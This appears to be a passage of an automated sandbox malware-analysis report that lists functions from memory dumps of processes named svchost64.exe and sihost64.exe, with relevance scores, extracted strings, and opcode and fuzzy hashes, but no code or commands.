Function 00007FFD9BAA0E0A Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007A.00000002.2772440795.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_122_2_7ffd9baa0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcbf5b9daf6dd6dffcf539807e59e12e5f84c33442dfd681841e108677c3c6bb
Instruction ID: 27d862297e15114eb8d8cd8268d5f5870ebe3bb9e00dc3af48781b3ce59c618b
Opcode Fuzzy Hash: bcbf5b9daf6dd6dffcf539807e59e12e5f84c33442dfd681841e108677c3c6bb
Instruction Fuzzy Hash: D3F0E57391D74C1EE7589559AC179F63B98EB83270F00105FE19EC6153E15269138256

Analysis Process: svchost64.exePID: 6772, Parent PID: 6364COMMON

Executed Functions

Function 00007FFD9BAA6896 Relevance: 3.0, Strings: 2, Instructions: 490COMMON

Download Yara Rule

Strings

UZNR, xrefs: 00007FFD9BAA6D2B
UZNR, xrefs: 00007FFD9BAA6908

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID: UZNR$UZNR
API String ID: 0-226416416
Opcode ID: b9e04c354329d4d860f20270a5dd6b14005f63bc61c2287985c4d8f0dc6940d0
Instruction ID: c8fbb9c9cd94598fdf7d9779f96e0415a5a168fcd361f53a21501aa94967a92a
Opcode Fuzzy Hash: b9e04c354329d4d860f20270a5dd6b14005f63bc61c2287985c4d8f0dc6940d0
Instruction Fuzzy Hash: C4F1A531A09A4D8FEBA8DF28C8557E937E1FF54310F04826EE84DC7295DB7499458B82

Function 00007FFD9BAA7642 Relevance: 3.0, Strings: 2, Instructions: 476COMMON

Download Yara Rule

Strings

UZNR, xrefs: 00007FFD9BAA76B8
UZNR, xrefs: 00007FFD9BAA7AA7

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID: UZNR$UZNR
API String ID: 0-226416416
Opcode ID: 2ee1863193fd9e1167b8d5584ca5e2df02a55729b70b4b2ab35e75ae99606908
Instruction ID: 06dc14c29c253179cd3c781946588afd5489f33e5259cb4c6ecb62e6a3c7293a
Opcode Fuzzy Hash: 2ee1863193fd9e1167b8d5584ca5e2df02a55729b70b4b2ab35e75ae99606908
Instruction Fuzzy Hash: BCF1D530A09A4E8FEBA9DF28C8557EA77D2FF54310F04426ED84DC72A5DF74A9448B81

Function 00007FFD9BAA1141 Relevance: 1.4, Instructions: 1353COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4466ec28dc4f2f0dbbd52ad308953ec74d5b3d2bf2bb7a243e54c3dfee0207
Instruction ID: 261c3827fd60650a1ca2135757c6e4d19a0f1cbc35133cfce05389c0033aafb0
Opcode Fuzzy Hash: 3b4466ec28dc4f2f0dbbd52ad308953ec74d5b3d2bf2bb7a243e54c3dfee0207
Instruction Fuzzy Hash: FB92E331B1991D4FEBA4EB688465BB873E2FF99708F050179D00EC32E6DE686D42CB41

Function 00007FFD9BAA7256 Relevance: 2.8, Strings: 2, Instructions: 342COMMON

Download Yara Rule

Strings

UZNR, xrefs: 00007FFD9BAA72C8
UZNR, xrefs: 00007FFD9BAA756C

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID: UZNR$UZNR
API String ID: 0-226416416
Opcode ID: 739df1d4067b47e5aa0f11e0fecc2fbdbfff920cfeab411f6bb8f2951d8fddaa
Instruction ID: 12a049057d9e06ec69ba1fc4c79ff6340e1294656ba716e5c076107345427afa
Opcode Fuzzy Hash: 739df1d4067b47e5aa0f11e0fecc2fbdbfff920cfeab411f6bb8f2951d8fddaa
Instruction Fuzzy Hash: 13B1D630A0DA4E4FEB68EF28C8557E93BD1FF55310F04426EE85DC72A2CA749945CB92

Function 00007FFD9BAA897D Relevance: .5, Instructions: 453COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04053e43c7f6a46cf09cb6b6004fa374c5c89ea3c709c20a6a611a1fd3e1ac8d
Instruction ID: 0fe7eb87c55adb0cc88f45839fb98b48a84ea7a4b0b1c1b1b37d694c832b9a9b
Opcode Fuzzy Hash: 04053e43c7f6a46cf09cb6b6004fa374c5c89ea3c709c20a6a611a1fd3e1ac8d
Instruction Fuzzy Hash: 2A413B62B0EACA4FE7619B6C48751A97BE1FF15324B4901BAC099C70E3DE5C69054362

Function 00007FFD9BAA0830 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e57799674ef40a641b4bff6efe86246f62561f4c0d0d3e72c8a6e4ee148c813
Instruction ID: 4956725f861ec4699f4a3368607f632eb0c090a94db32218a93519cb02de8124
Opcode Fuzzy Hash: 3e57799674ef40a641b4bff6efe86246f62561f4c0d0d3e72c8a6e4ee148c813
Instruction Fuzzy Hash: FA819230F19A4E8FDB94EBA8C8A4AAC7BF1FF59304F4505B6D00DD71A6DE28A841C751

Function 00007FFD9BAA7DD1 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ff537b2a606d0c5b45b6091ff8f8bd8e6817d73db9869ea52db287366f7d81
Instruction ID: b3afa0621eba83c162bd0dec30c047fdc2ca845fce1295f59faf164e9b98b77b
Opcode Fuzzy Hash: b1ff537b2a606d0c5b45b6091ff8f8bd8e6817d73db9869ea52db287366f7d81
Instruction Fuzzy Hash: 8A51E622B19C0D4BEBA8E76C4466BBDB3D2EF9C715F540279E01DC32D6CD28AD428751

Function 00007FFD9BAA3D7C Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b392fe52888a26d9cefca33dbb4cbf5e5e8598c65b3028371357e2cef4e2436
Instruction ID: a90abfebca7f0dad0d407a2c17715faf8b2fe9877cd320e6b4013520209e3530
Opcode Fuzzy Hash: 0b392fe52888a26d9cefca33dbb4cbf5e5e8598c65b3028371357e2cef4e2436
Instruction Fuzzy Hash: 21518031D08A1C8FDB68DF58D855BE9BBF1FB59310F0082AAD04DD3292DE74A9858F81

Function 00007FFD9BAA0AB0 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5420a017383b77b5588255b362b59c23a9d35b0f6c6c80eb4e71e087a3a1a4af
Instruction ID: b57f6da1777b66262a20733f364b73ddf8af64266ab24a569dc02b4e3e14ed60
Opcode Fuzzy Hash: 5420a017383b77b5588255b362b59c23a9d35b0f6c6c80eb4e71e087a3a1a4af
Instruction Fuzzy Hash: CF51C930B18A494FDB98EB2C8469A6977D2FF9C708F040579E04EC33D6DE68AC428785

Function 00007FFD9BAA7E1F Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040b01d6acf87bffc9c95b4033f019c1bf0e051319538eb90b1e911747b07ddc
Instruction ID: 1340d2c1db151705400b280daa8917d2ff2b200dd81658ca25f8f465d4b23ee7
Opcode Fuzzy Hash: 040b01d6acf87bffc9c95b4033f019c1bf0e051319538eb90b1e911747b07ddc
Instruction Fuzzy Hash: A051E521B09C0D4BEBA8E76C4465BBDB3C2EF9C715F1402B9E01CC32DACD28AD428781

Function 00007FFD9BAA0A91 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82257efae6b5e6d6a2582ccae5c553232029cb4a63432718bed8892ef9210fb4
Instruction ID: c6023633853eb034637969bbea2f79e31e6158b9ca398c2a55766c7f2ee10a36
Opcode Fuzzy Hash: 82257efae6b5e6d6a2582ccae5c553232029cb4a63432718bed8892ef9210fb4
Instruction Fuzzy Hash: CB41D931B1CA494FE758EB2C8469BA977D2EF98704F040179F04DC32D6DD68AD428795

Function 00007FFD9BAA1F6D Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e74eb94b0763647ec1495217ce97d4471b5dcdafc0f6db01f3909bd9e76c6eb
Instruction ID: e6465416ff422adc8e082dc82e945ee501e5a3700348beb479bbdb52c6e1b0f4
Opcode Fuzzy Hash: 5e74eb94b0763647ec1495217ce97d4471b5dcdafc0f6db01f3909bd9e76c6eb
Instruction Fuzzy Hash: A541D531B1DA0D4FE7A4EB6888717B873D3EF89704F0241BAD04DD32A2DE696D428751

Function 00007FFD9BAA0875 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5df82e816880eb83301a26914ce0cd83800ff3279836498e6ba6725abb0ae39
Instruction ID: 508778f899113d445f7e4c8d6db8a18debcd1f01b2a171b1877479fe37bcb9a4
Opcode Fuzzy Hash: d5df82e816880eb83301a26914ce0cd83800ff3279836498e6ba6725abb0ae39
Instruction Fuzzy Hash: 47513030E1994D8FDB94EBA8C8A4AADB7F2FF58304F410575E00DD72A6DE38A841CB51

Function 00007FFD9BAA2BC8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b55b0e37c7311a529a6224802bf5e06ed3b574d8b0fcf58527b2b0232eac5f06
Instruction ID: dc781efbc0643d2fddd8576764bd852cbbb2ac5089102a590e50cc3cc3f4a05d
Opcode Fuzzy Hash: b55b0e37c7311a529a6224802bf5e06ed3b574d8b0fcf58527b2b0232eac5f06
Instruction Fuzzy Hash: 73117B63F0FA490FE3A49BAC1C652B0A7C2EF9865570501BBE05DC31EBEC545D0243D1

Function 00007FFD9BAA0C83 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99246e3f1bdb174c523486bd0a04b0483f16c0dfe6033e9d7e9a7035f2d3dbc5
Instruction ID: 4ca67369bb5568430b40e1b72623c36730f9f407b1df0a44b65da96444bed966
Opcode Fuzzy Hash: 99246e3f1bdb174c523486bd0a04b0483f16c0dfe6033e9d7e9a7035f2d3dbc5
Instruction Fuzzy Hash: 9201C071B5D90C9FDF94EB9CE855AACB7E1EF59310F010129E10ED3252CA65A8528B41

Function 00007FFD9BAA0508 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3147171f47ac0674cd686c25434c8c4c4570734d782df982bb7553ea0ff01bfa
Instruction ID: 37696437c8ece754dd62299efe32af37ef5f1f6e8a5b5bcefa2256183713af30
Opcode Fuzzy Hash: 3147171f47ac0674cd686c25434c8c4c4570734d782df982bb7553ea0ff01bfa
Instruction Fuzzy Hash: 55012653F0ED090FE3B4AAAC5C696B162C3DFD8665B12017AE00EC32EAEC542C0243A0

Function 00007FFD9BAA0CF9 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f18814863f74ba41e5e3706882d35eda86b08bcdeed4ea3441d56e49f28678
Instruction ID: dde658fdaef5faf288c68c2912b213a09c8698edf062a7017b379a0f9326f7cd
Opcode Fuzzy Hash: 61f18814863f74ba41e5e3706882d35eda86b08bcdeed4ea3441d56e49f28678
Instruction Fuzzy Hash: 75F0557260D70C1EE7589609AC079F63B98EB83230F00100EE19EC2142E01228138292

Function 00007FFD9BAA0A50 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 939e688b70ca7bb2b38f6de4ed2e352602d498d930b2e43da0e07d5d558673f9
Instruction ID: 64a0cbcfdcc85bcae9bad048bcbf870c54b575fb8c8eff7dcee0fe174722a8d3
Opcode Fuzzy Hash: 939e688b70ca7bb2b38f6de4ed2e352602d498d930b2e43da0e07d5d558673f9
Instruction Fuzzy Hash: E4E04821B18C1D0F9AA4FB3D5865E6562D2EF9C22074546B6E40CC329ADD28DC414381

Non-executed Functions

Function 00007FFD9BAA0708 Relevance: 8.8, Strings: 7, Instructions: 94COMMON

Download Yara Rule

Strings

O_^5, xrefs: 00007FFD9BAA076A
O_^3, xrefs: 00007FFD9BAA0762
O_^=, xrefs: 00007FFD9BAA078A
O_^9, xrefs: 00007FFD9BAA077A
O_^%, xrefs: 00007FFD9BAA072A
O_^#, xrefs: 00007FFD9BAA0722
O_^7, xrefs: 00007FFD9BAA0772

Memory Dump Source

Source File: 0000008B.00000002.2795975176.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Similarity

API ID:
String ID: O_^#$O_^%$O_^3$O_^5$O_^7$O_^9$O_^=
API String ID: 0-3014927448
Opcode ID: d23c94e1bde4bf2ccf0b9befd13401840e7596ea185d9972ac1f9428e2c7f4a9
Instruction ID: c6e67de869fb0f0c2e8de7fcdce2ebda4cd69952ec1b2414fd199a6d3c5cd08b
Opcode Fuzzy Hash: d23c94e1bde4bf2ccf0b9befd13401840e7596ea185d9972ac1f9428e2c7f4a9
Instruction Fuzzy Hash: 442125777051291AD316BA2CBCA14DD3754EA8033B70407B3E4AECE257DD25A09BC6D0

Analysis Process: sihost64.exePID: 7008, Parent PID: 6772COMMON

Executed Functions

Function 00007FFD9BAC49C6 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99f13f1338d45aaeaeeb9a6193ec434446475d7af7a5c71b451a462f6df832f0
Instruction ID: d0825a0be41009f089ed09a3e746debe1fce5c0b5a045e6dc4021fde33aee978
Opcode Fuzzy Hash: 99f13f1338d45aaeaeeb9a6193ec434446475d7af7a5c71b451a462f6df832f0
Instruction Fuzzy Hash: C0F16030A09A4D8FEBA8EF28C8557E937D1EF54310F04426EE85DC72A5DF74A9458B81

Function 00007FFD9BAC5772 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f859ec1b215603f6a48d278fc7ed4fefcf75e161abad02dcf8fa2457d1c5238d
Instruction ID: 7e980c6a7b5f05666ce3a07ac823d19be8b959e038b08e51811343ca91708609
Opcode Fuzzy Hash: f859ec1b215603f6a48d278fc7ed4fefcf75e161abad02dcf8fa2457d1c5238d
Instruction Fuzzy Hash: 15E1B530A09A4D8FEBA8EF28C8567F977D1FF54310F14426EE84DC72A5DE74A9418B81

Function 00007FFD9BAC0488 Relevance: 1.6, Strings: 1, Instructions: 322COMMON

Download Yara Rule

Strings

[7M_^, xrefs: 00007FFD9BAC14EC

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID: [7M_^
API String ID: 0-2755054207
Opcode ID: f67d87379a46770a7b53c8e6fc54945c27aeb29bc4e5d69c0c5ff24cb7557899
Instruction ID: d2fd169258af07fa17333ad54e8516f64195ed9bf2e7540eceefc2f5316d4893
Opcode Fuzzy Hash: f67d87379a46770a7b53c8e6fc54945c27aeb29bc4e5d69c0c5ff24cb7557899
Instruction Fuzzy Hash: 61A1D431B1990D4FEBA4FB6884697B973D2EFA8314F514179E41DC72E6CE78A8428740

Function 00007FFD9BAC1467 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

[7M_^, xrefs: 00007FFD9BAC14EC

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID: [7M_^
API String ID: 0-2755054207
Opcode ID: 52a4447cb5ce10e95c69c46839469c6a59c7f3098c78de96358947128a0b00b7
Instruction ID: 3ba5b0b06d7706d96f47fa8aad906075cce9d850eb12917860080accff504a11
Opcode Fuzzy Hash: 52a4447cb5ce10e95c69c46839469c6a59c7f3098c78de96358947128a0b00b7
Instruction Fuzzy Hash: 4501E131B1D9498EE729F368D422BFA73E0EF94328F004679E04EC71D7CE6969428381

Function 00007FFD9BAC0F40 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a029d15958f6a8dfcd8a89811fc6da071459af3f42a4840194381f7ff82aa6
Instruction ID: d95777ff94347b4deab743903efffeeba412eef2fe53de0c376157acf92fa491
Opcode Fuzzy Hash: 24a029d15958f6a8dfcd8a89811fc6da071459af3f42a4840194381f7ff82aa6
Instruction Fuzzy Hash: F6D14B62B0E9490FE7A4FB6C88656B977D2EFA4310F0501BAE45DC72E7CD68ED458380

Function 00007FFD9BAC1065 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 803dc4c373674a967346147a4f79a6fa8aa825e09d3f91daa14c616c31b99e49
Instruction ID: 388f124f7925c008f669f362b6cf7494456ab7e2dc8c3f2c80e0cf7a2d337e29
Opcode Fuzzy Hash: 803dc4c373674a967346147a4f79a6fa8aa825e09d3f91daa14c616c31b99e49
Instruction Fuzzy Hash: 31A11731B0990D4FEBA4FB2888697B977E2EFA8314F5541B9D41DC72E6CE38AC418740

Function 00007FFD9BAC22BC Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14a5823aa385d405b0caf6e54c6a1e75adae5ef89132da75096342c24ee6676b
Instruction ID: 36025c7997e3e3844eec02be5341597de79b56503cbec9b59472ec06b52373fe
Opcode Fuzzy Hash: 14a5823aa385d405b0caf6e54c6a1e75adae5ef89132da75096342c24ee6676b
Instruction Fuzzy Hash: 91517231D08A1C8FDB68EF58D855BE9BBB1FB59310F1082AAD00DD3256DE34A9858F81

Function 00007FFD9BAC09B0 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bbe7d9cfe6c1241a9a25fb33d8d5f1315c5858ee7f68bde46ff9157279ae462
Instruction ID: bd301bb3671335a026e2a68ad59038454f39c4d7f0b54cbec4f57178c223157e
Opcode Fuzzy Hash: 9bbe7d9cfe6c1241a9a25fb33d8d5f1315c5858ee7f68bde46ff9157279ae462
Instruction Fuzzy Hash: FA51B330B2CA494FEB58BF2C88696B977D6EF98704F040279F44EC32D6DE64A8428745

Function 00007FFD9BAC0991 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bdf7c17a93fa6d2cd75cead0423063f528777cdec114925976076bd89d86584
Instruction ID: eb3ef539e6c7e50b2f525b4acefafaba9ec4bf7f091884fe20addf414aa0a6b0
Opcode Fuzzy Hash: 1bdf7c17a93fa6d2cd75cead0423063f528777cdec114925976076bd89d86584
Instruction Fuzzy Hash: 5E41E630B1DA494FEB68FB2C88696B877D1EF99704F050279F44DC32D6CE68A8428745

Function 00007FFD9BAC0848 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f019e244345453351c9c40c5cdf0ca905a438456e7a2b6f2a2666675d05ccdb1
Instruction ID: 1aada86c3b4b3f7b4d4078233b81a23409f3cb414ffc1a28980c13ec783af009
Opcode Fuzzy Hash: f019e244345453351c9c40c5cdf0ca905a438456e7a2b6f2a2666675d05ccdb1
Instruction Fuzzy Hash: 0B318230E18A4D8FDF94EFA8C8A5AADB7F1FF58310F4005B5E009D7296DE78A8418B40

Function 00007FFD9BAC0C72 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156a436dbf190fe477bbc2ba574a1f0993bf26ce4105c6f8cb5dd1d0f67b620a
Instruction ID: 6ceeea1cca81ffdc3bd09a147a8e1faa9b3d7bed71732a2b6be1270a318ee6dd
Opcode Fuzzy Hash: 156a436dbf190fe477bbc2ba574a1f0993bf26ce4105c6f8cb5dd1d0f67b620a
Instruction Fuzzy Hash: 1F11293190E6C64FE327A7B048626A57FA0AF03254F1A02EAD0D8C71E3DD9C6446C362

Function 00007FFD9BAC0BDB Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000090.00000002.2786443642.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d51e2c7b1bf6701251d3c5ef898d364bfca3c51d12d0af863dc004b570d29954
Instruction ID: 5d723e23ae21448bababbb47e10ab4d81c045fc318c4b33da3ec3605969a9858
Opcode Fuzzy Hash: d51e2c7b1bf6701251d3c5ef898d364bfca3c51d12d0af863dc004b570d29954
Instruction Fuzzy Hash: DBF0E5B254D64C2FEB58E959AC179F63B98EB83234F00101FF58E82063F1527913C255

Analysis Process: svchost64.exePID: 7732, Parent PID: 1628COMMON

Executed Functions

Function 00007FFD9BA9108D Relevance: 1.3, Instructions: 1336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86633098604934e93a9d7e14ad7c38a0980db6452430dc1af3ebb14ee40820de
Instruction ID: c1d66113704df2409fe3417cac16c332774b695bec1a64b2cdc8cd443943ef50
Opcode Fuzzy Hash: 86633098604934e93a9d7e14ad7c38a0980db6452430dc1af3ebb14ee40820de
Instruction Fuzzy Hash: 8792F431B1991D4FEBA4FB6888A5BB973E2FF98314F4501B9D00DC32E6DE28AD418745

Function 00007FFD9BA96896 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99a484c2fba703a9bfa0b2d8f352c0e36bf428f5053bd6a8fb1965bc5e9ab082
Instruction ID: 473d8c67577801d33af9567549ef52eb935e934b953c07541c309798d9a7de7d
Opcode Fuzzy Hash: 99a484c2fba703a9bfa0b2d8f352c0e36bf428f5053bd6a8fb1965bc5e9ab082
Instruction Fuzzy Hash: 90F1C530A09A4D8FEBA8DF28C8557E937E1FF54350F04826EE85DC7295DF74A9418B82

Function 00007FFD9BA97642 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89dd308b7d32489a4e33bb09829623c757d0e2f8d9de167cf64e8521681029ad
Instruction ID: 514e74b820a52214dcd1ae4ec8ab7185340bbc503f7b28d0a6e469a1d190107e
Opcode Fuzzy Hash: 89dd308b7d32489a4e33bb09829623c757d0e2f8d9de167cf64e8521681029ad
Instruction Fuzzy Hash: EAE1B230A09A4E8FEBA9DF28C8557E977D1FF54310F04826AD84DC72A5DF74A981CB81

Function 00007FFD9BA92B2D Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

7T^I, xrefs: 00007FFD9BA92BE4

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID: 7T^I
API String ID: 0-204804230
Opcode ID: bdd9e1bc50cecc2c8fcb0182cc8b2b8cb7b035969126b98caa1d2d1322c144f3
Instruction ID: df92ec248c668958e9ae9cf49bdccaa31949a70a1d874acdc8dfff61a51e1b65
Opcode Fuzzy Hash: bdd9e1bc50cecc2c8fcb0182cc8b2b8cb7b035969126b98caa1d2d1322c144f3
Instruction Fuzzy Hash: 84415943F0F6C61FE3699BB81C261A03BD1EF6265571900BBD0A8C70ABD9456D0693D2

Function 00007FFD9BA915DC Relevance: .8, Instructions: 792COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32d27c95fad13d7398ab270a3f07ef1d22e99407857de84dc642fe5ae49c212a
Instruction ID: f6b18c639a5a6fab1b000e741c8b59d45aeea7c4b6d7c6230e6ddabdc7db70a9
Opcode Fuzzy Hash: 32d27c95fad13d7398ab270a3f07ef1d22e99407857de84dc642fe5ae49c212a
Instruction Fuzzy Hash: 9B42C431B1991D8FEBA8EB6884A577873E2FF98304F5141B9D00DC32E6DE38AD419B45

Function 00007FFD9BA9897D Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3789a0edf71228169de7911a9798e6e313657a495492ccd4d92b2f8c9cc2de1
Instruction ID: 8ce6001c3d9566f496fa521e04cc2b6c6140f0571c552455b835dd497fec7c17
Opcode Fuzzy Hash: e3789a0edf71228169de7911a9798e6e313657a495492ccd4d92b2f8c9cc2de1
Instruction Fuzzy Hash: 8F512652B0EACA4FEB71976C48392697BD0EF15374B0901BAC49D870E3EE5D79059342

Function 00007FFD9BA97256 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

